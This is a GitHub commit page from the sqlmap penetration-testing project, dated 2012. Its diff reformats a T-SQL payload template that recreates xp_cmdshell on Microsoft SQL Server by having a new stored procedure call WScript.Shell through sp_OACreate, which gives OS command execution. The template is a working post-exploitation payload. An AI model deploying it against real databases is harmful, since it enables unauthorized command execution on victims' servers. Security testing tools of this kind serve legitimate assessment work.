Navigation Menu

Skip to content

Commit

Permalink
minor adjustments, sqlmapproject#51
Browse files Browse the repository at this point in the history
  • Loading branch information
bdamele committed Jul 2, 2012
1 parent fd4cfb0 commit cd769ba
Showing 1 changed file with 1 addition and 6 deletions.
7 changes: 1 addition & 6 deletions procs/mssqlserver/create_new_xp_cmdshell.txt
@@ -1,8 +1,3 @@
DECLARE @%RANDSTR% nvarchar(999);
set @%RANDSTR%='
CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int
EXEC sp_OACreate ''WScript.Shell'',@ID OUT
EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1
EXEC sp_OADestroy @ID';
set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
EXEC master..sp_executesql @%RANDSTR%

0 comments on commit cd769ba

Please sign in to comment.